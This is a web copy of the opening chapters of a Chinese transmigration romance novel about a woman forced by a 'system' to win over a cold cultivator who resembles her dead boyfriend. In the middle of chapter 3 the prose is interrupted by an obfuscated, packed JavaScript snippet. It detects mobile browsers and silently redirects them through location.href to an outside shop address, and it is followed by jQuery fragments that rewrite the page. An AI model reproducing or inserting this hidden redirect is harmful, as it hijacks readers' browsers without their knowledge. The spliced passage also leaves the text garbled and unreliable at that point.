《恋爱脑误闯无情道》 1. 再见故人 松林外,两名身着靛青色外衣的弟子从林中走出,手上都还握着剑,额头上冒出不少汗珠,似是刚练完功。 不远处传来“叮铃”的声音。 两名弟子闻声望去,只见一名穿着桃红色外衣的女子正朝他们走来,每走一步就发出清脆响声,甚是悦耳。 穿着靛青外衣的女弟子道:“她怎的又来了?” 旁边的男弟子回道:“这还用问吗?今日师叔回门,你说她怎的又来了?” 桃红外衣的女弟子抬头愣了一下,下意识握住胸前的两个小银铃,本来轻盈的步伐开始变得有些沉重,但很快又恢复了正常。 柳辛歆方才还在考虑要不要过去打声招呼,听见二人的对话,似乎不是很待见自己,她也就没什么负担地径直走了过去。 待她越过二人后,那名男弟子阴阳怪气道:“师父不在家就是好啊,想去哪就去哪。” 对方说话时,还特意加重了后面一句。 旁边女弟子道:“别说了,赶紧走吧。” 柳辛歆没有理会对方,自顾往前走。她这人向来是人不犯我我不犯人,人若犯我,那就鱼死网破,大不了你死我亡,绝不是忍气吞声的主。 不过眼下她有更重的事情要去做,没有必要为几个无关紧要的人物耽误时间。 她现在名叫柳辛歆,身体也是柳辛歆的,但她的灵魂是辛歆。 此事说来话长,要从头说起她准要发疯,一句话概括就是她穿书了。 还是一本无情道大男主文,目标就是攻略无情道鼻祖,她的师叔,也就是本文男主纪无冥。 这谁来了,不都得说一句:“俗套。” 那她有什么办法呢?那个无良的黑心系统直接绑定了她的生命值,违抗任务要扣掉100点的生命值,在现实中转换过来就是100年。 她本来以为应该是人民币转美金这种形式,谁知这无良系统装都不装一下,上来就要她的命。 其实七天前系统就给她发布了任务,奈何任务对象一直不在,她就只能浑水摸鱼,先摸清自己的处境。 按照系统要求,她需要完成原文中原主出现过的所有剧情,其他没有写明的内容由她自行发挥。这对她来说再简单不过了。 柳辛歆这个人物在原文里是个恋爱脑炮灰,对男主爱而不得,最后为男主挡刀而死。出现过的次数一个巴掌就能数得过来,每次出来就走个过场,有时候连台词都免了。 根据系统指示,柳辛歆的第一次出场就是这个时候,纪无冥刚回门,她就找了过去。 她从松林边经过来到后山,抬头望向天边,天气惨淡,黑云聚集,本来白亮的天空逐渐被吞噬殆尽,变得昏暗、阴沉。周围掀起一阵凉风,吹得她鸡皮疙瘩都起来了。 她总感觉有种不祥的预感,于是加快了走路的速度,不多时,眼前赫然出现一间简陋的小木屋。木屋颜色暗沉,早已失去光泽,看不太出本来的颜色,加之天气灰暗,透着几分阴郁。 来到门前,她抬手准备敲门,身后突然响起“嗷”的一声惨叫,似是从林中传来的鸟叫声。她猝不及防被吓了一大跳,猛地转过身,紧接着又是一声惊叫。这次是从她嘴里发出来的。 在她的正前方,本来空荡昏暗的院子里,突然站着一名白衣男子,面色阴沉,肤色白得吓人,此刻正恶狠狠地盯着她。 看到她被吓到,对方不仅没有一点同情心,反而不满道:“你在这里做什么?” 她看了眼面前那几个金光闪闪的字体,圣清门七长老——纪无冥,紧接着,目光又转移到对方的脸上,顿时僵在了原地。 那张脸?是他!难道他也穿书了?但是怎么可能呢?他三年前就已经不在人世了啊? 看着面前这张令人熟悉到心痛的脸,她的呼吸越来越急促,脑子一片空白,眼眶发酸,手脚不自觉地发抖。 没有得到她的回应,对方眉头显然皱得更深了。柳辛歆尝试开口道:“我......” 除了一个我字,其他字都被堵在了喉咙里。 纪无冥逐渐失去耐心,抬脚朝她走了过来,她下意识往旁边退了几步。仔细一看,只见他长发披散垂到腰间,神色冷冽,俊美至极,银白道袍衬得他气若谪仙,只是眉头微蹙,看起来很不爽。 对方走到和她肩膀齐平的位置后,一手扶在门上,偏过头冷眼睥睨,肉眼可见的烦躁:“没事就不要到这里来,你很闲吗?” 明明二人站得极近,她却觉得对方的声音隔了好远才传进她的耳朵里。 眼看着对方推门就要进去,她艰难地咽了口口水,清了下嗓子,眼神飘忽,不自信道:“我,我找您是想请教一些问题。” 因为极度紧张,她甚至没说明是什么问题。 纪无冥看她时眼神仍旧冰冷,嘴角却微微上扬,发出一声冷笑,道:“可以。不过在此之前,你得先去寒洞关一个月的禁闭。” 不等她反应过来,后领子已经被人提了起来,对方毫无风度地将她往外拖。纪无冥身量极高,她差不多一米六七的个子才到他肩膀那儿。走路时,对方走得很快,步子迈得也大,她要小跑才能跟得上。 她被拖出了好一段距离,才反应过来对方刚刚说了什么。柳辛歆喘着气,不解道:“纪师叔要关弟子禁闭,不知弟子犯了什么错?” 纪无冥直视前方,面无表情道:“你的错便是不该来找我。” 这是什么理由? 柳辛歆耐着性子道:“弟子是因为师父不在山上,两位师兄又去守门了,这才来找师叔请教。师叔若是不想见到弟子,我走便是了,又何必这般为难于我?” 此话一出,对方突然止住脚步,抓紧她后衣领的手微微放松。纪无冥低下头,眼睛从下往上扫了她一眼,最后视线定在她的脸上,语气略带自责又带嘲讽,道:“没有跟你说清楚,是我的错。” 只听他一字一句道:“我的意思是你不该带着心思来找我。” 对方一句话将她堵得哑口无言,不知道该怎么反驳。 这是什么自恋狂啊?来找你请教个问题,就觉得人家喜欢你了?关键还真被他说中了。她不过是方才说话的时候突然紧张了些,这就被他瞧出心思了? 她一时失神,任凭对方拖着她走。不觉间,二人已经走到了一个山洞前面。 抬眼望去,前方两名守洞口的弟子匆匆赶了过来。 左边高瘦清秀的男子名叫古清,右边儒雅、一副老实人模样的叫万沭。 他们便是柳辛歆的两位师兄。见到二人,她莫名觉得心虚,目光闪躲,像犯了错的孩子,不敢抬头看他们。 二人恭恭敬敬向纪无冥行了一礼,古清道:“七师叔若是要关柳师妹禁闭的话,恐怕要等上三日了。前几日三长老座下的弟子在修炼时偷懒,现下正在寒洞里思过呢。” 听到这里,她偷偷松了口气,内心十分感激那名关禁闭的弟子。 不料,纪无冥却毫不在意,眼神凶狠,有些不耐烦道:“不过是修炼时偷懒,关了这些日子也该长记性了。何况,现在有弟子比他更需要这个寒洞。” 万沭犹豫道:“可是三长老那边弟子不好交代啊。三长老说过,没有他的允许就不能提前结束禁闭。” 纪无冥一脸不悦道:“师兄那边我自会去说明。现在马上把人给我提出来。” 话说到这个份上,万沭、古清也只能照他的吩咐去做,将里面正在关禁闭的弟子提了出来。 看来纪无冥是铁了心要关他禁闭。原文中此人高傲自大、阴晴不定,这个时候跟他对着干可讨不到好处。 柳辛歆选择全程不语,只是时不时地看向对方,对于他的真实身份,她还心存疑虑。 那名被关禁闭的男弟子得知自己提前结束禁闭,脸上笑容藏都藏不住,嘴里激动地说着:“两位师兄,是我师父让你 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通向寒洞的路上结了一层薄薄的冰霜,踩在脚下还有点打滑。她发现,越是深入山洞,冰霜就越厚,也越冷。当她进到岩洞的最深处时,眼前浮现出一个小型的滑雪场,周围结满了厚厚的冰层。上方还凿了个五六尺宽的孔洞,上面覆盖着一层似水流动的透明薄膜,可以清楚地看见昏暗的天空。 这里便是圣清门三大岩洞之一的寒洞,犯错弟子最常来的地方。 三大岩洞都施了强大的禁制术法,修仙者一旦进入就会失掉所有法术,变成一个普通人。这么做的目的就是为了防止有人偷懒,耍小聪明。不过眼下比起寒冷,她有更在意的事情。 柳辛歆哆哆嗦嗦,开口呼叫小助手的名字:“缺牙齿?” 耳边突然嗡的一声,面前出现一个对话框。 【缺牙齿真高兴,这么快又能和宿主对话了。】 “少废话!我问你,为什么纪无冥长得和我男朋友一模一样?” 【本世界的人物皆是按照文中描述生成的。宿主,您的男朋友也长得和纪无冥一样帅吗?缺牙齿真羡慕!】 柳辛歆无视小助手的打趣,继续问道:“你确定现在的纪无冥是真的纪无冥吗?没有被魂穿之类的?” 【是的,宿主。缺牙齿非常确定。】 虽然早有预料,但听到小助手否定的回答后,她心里还是感到十分的失落。 就连掏出进度卡时,她都高兴不起来。这是从系统送给她的七天新手大礼包里面拆出来的。 所谓进度卡,便是可以加快剧情的进度,或者是任意跳过一个环节。那个无良系统也就在这块显得大方了些。 要不是有进度卡,她也不会这么淡定。关一个月,这得浪费她多少时间啊。 她手指往屏幕上戳,刚点击使用,面前就出现了两道熟悉的身影。 万沭道:“小师妹,你的禁闭结束了。我们俩刚好守门时间也到了,就同你一起回桃林吧。” 柳辛歆莞尔道:“好啊。” 三人一同走出寒洞,洞外两旁已有两名新弟子接替。 他们住的桃林在半山腰处,位于后方,若是想下山必须要经过纪无冥居住的后山。 柳辛歆现在只祈求不要碰上他,她还没有准备好怎么面对那张面孔。 来到后山,靠近那座小屋时,不止是她,身旁的两人也是胆战心惊的。毕竟谁也不想被莫名其妙的关禁闭。几人经过木屋时,脚下的步伐都不自觉加快了。 突然,“咯吱”一声,打破了周围的安静。 三人一齐顿住脚步,十分不情愿地转过身,恭恭敬敬地对着屋内的人行了个礼。 抬起头时,柳辛歆没忍住抬眼往屋内看了一眼,谁知,竟跟对方对上了眼。她假装无事发生,准备跟着两位师兄转身走开。 纪无冥却突然开口道:“看来一个月的时间还是太短了。” 2. 无情男主 辛歆穿进的这本书名叫《血妖之子》,是她男朋友生前最爱看的一本小说。 她本人其实并未真正看过《血妖之子》。她所知道的这些内容,都是男友跟她讲的。她只知道一个大概的内容,其间的细节可以说是一知半解。毕竟不管对方故事讲得多好,也不如自己去看更清楚。 纪无冥虽长着一张和男友极度相似的面孔,但性格方面简直天差地别。前者自负、高傲,后者开朗、温柔。所以,她一直不能理解,男友为何如此钟爱这本小说?如此钟爱男主?就因为他无情、无意、无cp? 柳辛歆此刻只觉得心情烦躁,纪无冥是故意找她茬吧!?看他一眼就要被关禁闭?这什么人啊? 她可没有第二张进度卡了。这次被关可真要待上一个月了。 柳辛歆有些怨恨地盯着对方,刚准备开口,纪无冥却抢先道:“你走吧。” 说完,他便转身进屋了,只留三人在屋外大眼瞪小眼,不知所措。 从后山下去后,古清忽然靠近她,小声问道:“我说小师妹,你是怎么惹上纪师叔的啊?” 柳辛歆一脸颓然,无力道:“如果我说我也不清楚,你信吗?” 万沭语气温和道:“你怎会不清楚呢?师叔难道没同你说为何关你禁闭?” 柳辛歆吸了下鼻子,道:“他说我错在不该去找他。” 万沭不可置信道:“就这么简单?” 柳辛歆耸了下肩,随意“嗯”了一声。 万沭:“那你本来去找他是所为何事?” 柳辛歆:“就是想问一些修行上的问题。” 虽然本意不是如此,但她也没有说谎。她本来就是去走剧情的。 古清愤然道:“岂有此理!他不过比我们大了两三岁,虽是个长老,但也不能这般欺负人啊?” 万沭也面色凝重道:“别家弟子出事都有师父罩着,而我们却没有。若是师父在山上,他岂敢这般对待我们?” 二人你一句我一句,越聊越激动,她一路上都在安抚这两位师兄的情绪。 眼看前方一片桃红,微风过处,花瓣零碎飘落。周围草地上野花野草肆意生长,艳丽的蝴蝶在半空飞舞。桃林之中,桃木色的房屋隐匿其中,光是站在这个地方,她就有种身隐于林之感。 见到此情此景,二人的情绪瞬间好了不少。万沭道:“这段时间我们都受了不少苦,特别是小师妹,现下就各自回屋好好休息吧。” 柳辛歆道:“好。” 古清也点头答应了。 桃林之中的房屋都不大,刚好一个人住,房屋之间的距离也不远,中间就隔着四五棵树的样子。 柳辛歆此前在系统的提示下,也是找到了自己住的地方。她住的这间小屋叫歆屋,大门的前方有个小阶梯,两扇窗户,一道门,看起来很像光头强的小屋。 推开门进去,映入眼帘的是桃木桌椅,最里面有一扇大窗户,窗台下还摆着花瓶,里面插着一枝桃花。时隔一个月,花瓣已经掉光了。 屋内靠左的位置挂着珍珠幕帘,掀开幕帘往里走就是书房,右边有一道木门,里面是睡觉的地方。 她当时还感慨,现在修仙弟子的待遇都这么好的吗? 不过根据她这几日的调查来看,并不是所有的弟子都有这般待遇,只有她的师父尤璃长老的桃林是特殊的。 圣清门其他长老座下弟子没有几百也有几十,而五长老尤璃,座下弟子一共就四位。从大到小分别是:江玉仙、万沭、古清、柳辛歆。 师姐江玉仙现下正在闭关,师父下山不知去向,所以现在桃林中就只有他们三个人住而已。若说为何能住那么好,也许就是因为人少吧。 回到房中,她躺在床上翻动着系统屏幕,发现上方最右边多了个攻略值。 她抬手点了一下,屏幕瞬间切换。 这是纪无冥那家伙的数值!!! 柳辛歆崩溃道:“为什么会有负数!!?起始分数难道不应该是零吗?” 缺牙齿:【男主对他人正常数值通常为0%。由于他所修为无情道,所以数值比平常人要低。宿主不必过于慌张,这是正常现象。】 她真被“正常现象”四个字给气笑了,内心翻江倒海,真不愧是无情道鼻祖。谁能有你无情、无意啊,也难怪没有cp。 次日一早,她和两位师兄一齐到山顶上的冥想台参加晨练。说是晨练,其实就是静心打坐。每位长老依次坐在上方,下方对应的就是自家的弟子。 圣清门的弟子服颜色以白色为主,外加各自师父的代表色。掌门为夜灰,长老们从大到小,依次是藤萝紫、靛青、石绿、淡桃红、橘橙、银白。 五长老尤璃的位置在从左至右倒数第二个位置,因为她常年不在山上,所以那个位置一直都是空的。但今日她却发现,那个本该空着的座位上有人了。 只见纪无冥偏头用手撑着脑袋,姿势懒散,半开的眼睛透着冷淡,看起来事不关己又像没有睡醒。 早晨山顶上的浓雾还未散去,几缕薄雾绕在他的身侧,本来冷峻的面容,此刻又多了几分朦胧之感,美如妙染。 几人靠近时,纪无冥本来耷拉的眼皮突然上抬,她赶紧移开眼,整个人瞬间都清醒了。 她躲在万沭的后面,随着二人向他草草行了一礼,盘腿而坐,赶紧闭上了眼睛。 此前万沭好像是提到过,纪无冥还未收过徒弟,所以一般都是他督促三人的晨练。只因前段时间他下山办事,他们这才没人看顾。 这么一来,那以后岂不是每天早上都要见到他?不对,她是有任务在身上的,不见他还怎么完成任务?可是他性格阴晴不定,还经常用那张脸冷眼瞪她,一次两次还好,次数多了她怎么忍得了?缺牙齿也说过,他不是他,他只是一个纸片人,没什么好顾虑的,只当成任务对象就行。对,就是这样。 她脑子正展开激烈交锋时,耳边一个声音冷森道:“我看你是又想关禁闭了。” 她吓得身体一缩,差点没稳住撞到旁边的弟子身上,转头看去,纪无冥维持着弯腰的姿势,眸若寒星,直勾勾的盯着她,那张好看的脸上满是不爽。 许是柳辛歆的动作幅度太大,有两三位长老都注意到了异常,纷纷皱眉往这边看。她赶紧重新回正身体,轻声哀求道:“我错了。” 纪无冥视而不见,直起身挥挥衣袖,又回到了自己的座位上。 她仰头看着对方,无声道:“我真的错了。” 纪无冥靠在座位上,头歪向一边,直接闭上了眼。 她叹了口气,也闭上了眼,看来这次真跑不掉了。 晨练伴随着悠长的鸟叫声,以被敲响的钟声结束了。 纪无冥还维持着方才的姿势,只是换了个方向,下巴微抬,盯着三人,道:“你们可以走了。” 听到他说“你们”两个字,她心里一喜,看来不用关禁闭了。 三人对他弯腰行了一礼,刚准备转身,纪无冥又道:“柳辛歆,你留下。” 不是吧!他还是要关她禁闭? 两位师兄齐刷刷回头望向她,面上表情均是不解,似是在说你又干了什么?柳辛歆面露苦涩,表示自己真没干什么。 二人走后,她才慢腾腾走到纪无冥面前。 晨练一结束,周围的众弟子长老纷纷御剑离开,在她身后、头顶发出嗖嗖嗖的声音。当她头顶上有人经过时,她恨不能直接跳上去,逃离这个是非之地。 纪无冥从座位上起来,垂眸盯着她,语气依旧冰冷:“柳辛歆,你很走运。这个月的寒洞都被其他弟子占满了。你的推迟到了下个月初一。” 真是天助我也!一个月的时间,获取一张进度卡应该不难。 柳辛歆:“是,师叔。” 纪无冥:“你可以走了。” 闻言,她随意弯了下腰,赶紧撒丫子跑掉了。 从后山下来,她一路上都是用跑的,生怕对方又找个什么别的理由治她的罪。 来到半山腰时,前方刚好站着几名弟子,正堵着她回桃林的路。她没有去看他们,只对其中一名男弟子道:“烦请让个路。” 那名男子非但没让,反而把路堵得更死了。对方扬声道:“柳师妹何必急于一时,整个圣清门最清闲的就是你们桃林了。何不与师兄弟几个 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听到这里,柳辛歆有些崩溃了。为什么好像所有人都知道她对纪无冥图谋不轨?平日里她是有多明显啊!? 柳辛歆回道:“此等闲言碎语随便听听便罢了,岂能当真?损了我的名声事小,若是牵连到师叔,罪过可就大了。” 宋长荣刚想开口,他身后有弟子道:“真不真的,用明心镜试试不就知道了。” 这明心镜并非指某一面特定的镜子,而是任何一面镜子都可以被这么称呼。因为它的厉害之处不在于镜子,而在于一种名叫窥心秘术的法术。 施术者只要持一面镜子对准被施术者,施术者的灵魂就会通过镜子进入被施术者的体内,能感他所感,知他所知。 窥心秘术存在一定的风险,施术者必须修为高强,意志坚定。圣清门虽然天才遍地,但在弟子中能熟练掌握窥心秘术的怕是也没有几个。 这镜子若是照在她的身上,且不说她对纪无冥的心思如何,系统和穿书一事可就全部暴露了。 见她许久不说话,宋长荣一脸得逞,道:“柳师妹,你怎的不说话了?莫不是真有什么见不得人的事情?” 她就算真有,也只能说没有啊。 眼看对面的几名弟子一脸幸灾乐祸,个个挂着看戏的表情。柳辛歆硬着头皮道:“师兄若想知道我动没动情,其实有个更简单的方法。” “什么方法?” 她道:“圣清门弟子所修为无情道,心里越干净,修为也就越高。师兄何不趁此跟我比划比划?” 宋长荣还未说话,方才那名弟子又开口道:“此事关乎圣清门百年清誉,岂是靠打架就能了结的?” 柳辛歆觉得心烦,闻声望向那名弟子,她倒是要看看那人什么来头,这么能拱火。 她只看了对方几眼,冷哼一声,便收回了视线。原来只是个没有名字的npc。 紧接着又有弟子道:“是啊。只是让你照照镜子,又不是让你光脚走钢针。若不是心里有鬼,你怕什么?” “这不就是变相承认自己动情了吗?” “事到如今还在逞强,明眼人谁看不出她对师叔有意思啊?” “说起来,前几日她不还被师叔关禁闭了吗?到底是犯了什么事,竟然被关了一个月。” 众人你一句我一句,接连不断,她听得脑子发昏,高声打断了他们,道:“我柳辛歆做事向来问心无愧,各位尽管试便是了。” “不过,窥心秘术高深莫测,没有强大的修为支撑,可是很危险的。你们之中有谁能保证到时候不会一尸两命呢?” 听到前面一句宋长荣表情有些扭曲,似有不服,但又没有底气反驳她。他咬牙道:“我们自是修为低微无法施展此术,但纪师叔修为高超,有他在,师妹还不放心吗?” 柳辛歆冷笑道:“哦?你觉得以纪师叔的性子,会掺和这种小孩的玩闹吗?” 宋长荣一脸坏笑:“试试不就知道了。” 没过多久,一名弟子从山顶上下来,大摇大摆,满面春风,柳辛歆心知自己要完蛋了。 3. 无良系统 在现实世界的辛歆是一名心理医生,不过还是个实习生。她之所以选择这个专业就是为了挽救更多的生命。常规医生是治疗身体上的创伤,而她是治疗心理上的。 如果是十五岁以前的辛歆,她可能做梦也想不到自己会选择这个专业,毕竟她才是需要被治疗的那个。 她的男朋友季意是计算机专业的。他完全不懂心理方面的知识,却有着神奇的治愈能力。他用温暖、爱护、真诚,硬生生将她从阴影中拉了出来,让她重见光明。 可恨的是,上天并没有眷顾这样的好心人。三年前,死神降临,她没有抢赢死神。而如今,她再次看见了那张熟悉的脸,说不清是思念更多,还是心痛更多。 对方顶着那张脸,她还能当他只是个纸片人吗? 柳辛歆站在原地失神,恍然间,不知道是谁推了她一下。她回过神来,方才上山的那名弟子给她让开一条路,一手伸直,一副幸灾乐祸的表情:“柳师妹,请吧。” 她没有理会对方,眼神坚定,视死如归般走了上去。 她这才离开了多久,结果又回到了这个后山的小木屋。她真的觉得自己是不是和这个木屋有什么说不清、理还乱的孽缘啊?上辈子她是吊死在这里了吗?怎么每次什么麻烦事都是发生在这里啊? 她与纪无冥面对面坐在木屋前的空地上,几名弟子站在她的身后。纪无冥眼神冷冽,抬头紧盯她身后的众人,沉声道:“都退开。” 不用他再说第二遍,众人急速向后拉开距离,给二人留足了空间。 纪无冥从怀中掏出一面巴掌大的小铜镜,他拿在手里掂了掂,抬眼意味深长地看着她,道:“看来此前关你一个月的禁闭是错误的,应该关两个月或者更久。” 她震惊地看向对方,瞬间怒火中烧,但看见那张脸后,又莫名觉得委屈。 虽然知道对方不是她认识的那个人,但还是忍不住想:“他怎么能这样?” 柳辛歆生气地盯着对方,讥讽道:“师叔也不必装模作样,关禁闭左右是你一句话的事情,没关够,再补上也是一样的。” 忽然,耳边咻的一声。 缺牙齿:【注意:宿主,这句话不利于您今后的行动,请慎重考虑是否要说。】 什么意思啊?她还没说吗? 柳辛歆正愁有火没处发,朝着小助手咆哮道:“他都这么针对我了!难道我还要忍气吞声吗?” 【根据缺牙齿分析,纪无冥性格刚硬,你弱他强,你强他更强。忍气吞声是目前最好的攻略方式。】 柳辛歆两眼一黑。这哪是无情道啊,她看是索命道吧。 系统屏幕消失后,她语气僵硬,咬牙切齿道:“师叔说的是,是弟子冥顽不灵,朽木不可雕也。” 纪无冥挑眉道:“你好像很不服啊?” “弟子不敢。” 她似乎听到对方冷哼了一声,随后,一手将铜镜的正面对准她,另一手掐诀,嘴里念着:窥心术,镜中人,鉴明心。 对方一念完口诀,她就失去了意识。 不知过了多久,等她有意识时,她察觉到周身都围着人,有个声音离她很近,似乎对方的脑袋是贴着她的耳朵的:“她怎么不是修炼就是散步啊?” 宋长荣道:“你急什么?这种隐秘之事,哪儿是这么容易找到的。” “你们看这不是方才在半山腰的情景吗?” “诶诶诶,怎么没有了?” 她嗖的睁开眼睛,映入眼帘的是一张美艳绝伦的脸,浓眉桃花眼,笑如春风拂面。 见她睁眼,众人纷纷从她身边离开,看来方才他们从这面镜子里看到了不少东西。 她还以为只有施术者能够看到,没人跟她说过还要投屏展示啊!不过也好,这下他们应该能乖乖闭上嘴了吧。 施术结束后,纪无冥将镜子放进衣袖里,眉头轻蹙,垂眼思索着什么。他从地上站起来后,又一脸从容道:“不要忘了下个月的禁闭。按宗门规矩,晨练偷懒,要在寒洞禁闭七日。” 柳辛歆难得一次对他露出了笑容,起身认真对纪无冥行了一礼,道:“有劳师叔提醒,下个月弟子定当按时前往寒洞。” 纪无冥虽然没有直接说明她是清白的,但又让她不要忘了下个月的禁闭,已经是间接证明她的清白了。 对此宋长荣等人也无可奈何,毕竟他们在镜中也没有看见她有任何越界的行为。而能感知她感受的人只有纪无冥一人。既然他什么都没说,那就默认了没有问题。 看着宋长荣等人一副吃瘪的羞恼模样,她别提有多开心了。从后山上下来,她一路上都是蹦蹦跳跳的,嘴里还哼着歌,胸前的银铃叮叮当当响个不停。 突然,系统提示音无情地将她拉回了现实。 缺牙齿:【宿主,您方才贷款购买了记忆屏蔽器,一共100000魅力值,扣掉您现有魅力值11114,您还欠系统88886魅力值,请于一个月之内还清所有债务。】 所谓记忆屏蔽器便是能隐藏自己想要隐藏的记忆,既然记忆看不见,窥心术的感人所感自然也就无用了。 柳辛歆道:“一个月!怎么这么着急?那我还不上怎么办?” 【系统会自动扣除现实生命值50点。】 系统提示音结束后,只一瞬间的功夫,她已经从站着变成了四肢着地,仿佛受到了巨大打击。 黑心的垃圾系统!! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589373|205419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !抠搜的无良系统!!! 每日就送几十点的魅力值,商城的道具伸手就要1000往上。她本来辛辛苦苦存的那点魅力值,是用来买剑的。谁曾想,剑还没摸到过,就背上了巨额债务! 现在别说攻略男主了,还不上魅力值,她攻略成功也是白搭。一夜之间老了五十岁,她还有回去的必要吗? 不过比起攻略男主,获取魅力值倒是简单多了。魅力值,是指别人对她的喜爱程度,可以分别从不同的人身上获取,也可以从一个人身上多次获取,但后者几乎不可能。最好的办法就是从不同的人身上获取,你一点、他一点,很快就能凑到了。 可是据她了解,原文中的柳辛歆存在感低得可怜,这就算了,名声还不好听。要想在短时间内获取那么多的魅力值,简直难如登天。 柳辛歆捏紧拳头狠狠地在地上捶了几拳,眨眼的工夫,旁边突然多了一道白色的身影,她动作一僵,拳头停在半空。 发疯的时候被人看见,这也太尴尬了吧!!! 这位兄台,我真求你了,装作什么都没看见,赶紧走吧! 两人就这么僵在原地,站着的不肯走,趴地上的也不肯起。 半晌,对方似是等得不耐烦了,冷淡的质问声从上方砸在她的头顶上:“你还要在地上趴多久?是要我扶你起来吗?” 这个声音!纪无冥? 她一骨碌从地上爬了起来,呵呵干笑两声,道:“师叔怎的到这里来了?” 纪无冥难得眼神闪躲,语气不自然道:“下山。” 亲自走路下山,他也太低调了吧!要不是柳辛歆在她穿来之前就弄折了自己的剑,她肯定不管去哪里都要御剑飞行。 见他不想多聊,柳辛歆识趣道:“那师叔慢走啊。” 对方没看她,往前走了两步,又突然停住,转过身道:“下次摔倒了就赶紧爬起来,别挡在路中间,很碍事。” 说完,对方不等她回答,头也不回地走掉了。 柳辛歆张着嘴,愣在原地,这回她是真被气笑了。他到底在装什么啊?哪只眼睛看见她摔了?他是长了八只脚吗?这么宽的路哪里挡到他了? 话说,原文的纪无冥不是冷漠无情、少言寡语吗?冷漠无情她是看出来了。少言寡语看着不像啊?他的话确实不多,但也不能算少吧。还有他的嘴怎么这么毒啊? 柳辛歆双手抱头,蹲在地上,满脸痛苦地喊道:“这怎么攻略啊!!!” 她气呼呼的盯着纪无冥下去的山路,想到方才对方的表情,似乎是想遮掩什么。明明可以御剑下山,他却选择走路,明显是不想让人看见。 她倒是要看看他要干什么见不得人的事情。 4. 下山偶遇 断尘山下往南二十里的小镇上,街道上人群喧闹,房屋鳞次栉比。小摊老板们吆喝着自家的商品。不远处,迎面走来一位猴脸鼠目的贩子,肩上扛着一扫帚糖葫芦,嘴里叫卖着,眼睛还不时往旁边的小摊上望,走起路来气定神闲。 晃眼间,他身前多了位银白道袍的男子,对方站着不动,丝毫没有让开的意思。只见那男子身高约莫八尺,俊美得无可挑剔,只是神色冷漠,举手投足间透露着生人勿近的气息。 卖葫芦的商贩抬头瞥了对方一眼,便立刻侧身小心地从他旁边过去,不料,却被对方一手拦住了。 那商贩一脸疑惑望向对方,完全不觉得对方是要向他买糖葫芦的,看那表情更像是找茬。但单从体型来看,二人完全不是一个级别的,于是商贩一脸笑盈盈地看着对方。 他还没说什么,白衣男子将手中的碎银举到他的胸前,面无表情道:“一串糖葫芦。” 街道上人群来来往往,商贩愣了大概七八秒的时间,才慌慌张张接过碎银,从扫帚上取下一根糖葫芦给他。 而就在他们隔条街道的另一边,躲在首饰摊后面的柳辛歆将一切尽收眼底。 这可真是惊天大瓜!纪无冥竟然喜欢吃糖葫芦! 这若是被他的小迷弟迷妹知道了,会怎样?是认为这和他们心中的高冷师叔不一样,觉得失望。还是会觉得他们的师叔竟然还有这么小孩子的一面,更喜欢了呢? 正当她躲在后面,捂嘴憋笑的时候,突然有人在她肩膀上拍了拍。她回过神,转头一看,一位面相凶狠的女子正瞪眼盯着她,对方厉声道:“我说小姑娘,你到底买不买东西啊?” 柳辛歆大惊失色,连忙往女子身后躲,轻声道:“我买,我买!你先等会儿。” 听到这话,那女子显然很不高兴,对着她翻了个白眼走开了。 当她再次回过头时,那名糖葫芦商贩已经随着人流走远,纪无冥也不见了。 柳辛歆随便拿了个玉佩,准备掏钱时才想起来,她是跟踪纪无冥来的,身上根本没带银子。 柳辛歆又将东西放下,一脸歉意,干笑了两声:“不好意思啊,我这次出门出得急没带银子,下次来再买吧。” 说完,她赶紧跑掉了。 刚出镇子没多久,她就见前方的柳树下有一白影,衣摆随着柳条摇摆,好似一副淡雅的风景画。 柳辛歆若无其事走了过去,等靠近对方时,她吃惊道:“纪师叔!弟子见过师叔。真是太巧了,竟然在此见到师叔。” 系统:【信任度减20。】 疯了吧! 纪无冥还是一副冷冷的表情,站在原地不动,似乎是要一个解释。 柳辛歆盯着对方手上的糖葫芦,吞了口唾沫,紧张道:“不知师叔是给谁带的糖葫芦?” 闻言,纪无冥捏紧握着糖葫芦的手,眼神凶狠,道:“你跟踪我。” 他说这话时用的是肯定语气,这意味着他已经认定自己被跟踪了。还有方才信任度减20的提示音,这意味着无论她如何解释都是白费的。 柳辛歆赶忙低下头,拱手道:“师叔今晨替弟子证明了清白,弟子只是想给您买些东西以示感谢。不管纪师叔相信与否,弟子绝不是有意跟踪师叔的。” 纪无冥朝着她两只干净得过分的手看了一眼,鄙夷道:“巧言令色。” 正当她想开口辩解时,对方又道:“今日之事你若敢让第三个人知晓,今后就莫要想再问我任何一个问题。” 纪无冥放完狠话,瞪了她一眼,袖子一挥,转身走了。 柳辛歆冲着对方的背影忙喊道:“师叔放心,弟子定当守口如瓶!” “师叔!弟子是真的想给您买东西,只是出门走得急,忘记带银子了!您一定要相信弟子啊!” 她不喊还好,这一喊纪无冥直接御剑飞走了。 系统:【怒气值加50。】 柳辛歆惊道:“这怒气值又是哪来的?开始明明还没有这个数值的。” 不就是看见他买糖葫芦了吗?至于气成这样?到底谁给他惯的啊! 缺牙齿:【这是系统随机触发数值,可用于参考攻略对象的情绪,不在任务范畴之内。】 柳辛歆松了口气:“那就好......” 她点开屏幕上方任务一栏,发现任务一还是那三个离谱数值,突然感到莫名的安心。 系统一共给了她两个任务: 【任务一:攻略男主纪无冥。】 完成任务的标准:好感度:100%,信任度100%,愉悦度100% 详情如下:好感度是指对方对自己的喜爱程度。(可通过讨好和身体接触获取) 后面两个依次为: 信任度是指对方对自己的信任程度。(可通过提升好感度获取。) 愉悦度是指对方面对自己时的心情。(可通过提升好感度和信任度获取。) 除了第一条,其他都没有任何参考价值。 【任务2:完成配角应该有的结局。】 配角应该有的结局,很显然是替男主挡刀去死。在《血妖之子》上篇的结局中,纪无冥被发现有血妖血统,被整个师门围剿,柳辛歆就是那个时候替男主挡刀而死的。 先将其攻略,再为他而死。她有理由怀疑,系统是个抖s。 面对这两个任务,她还算冷静,毕竟古往今来一直都是这么个套路。 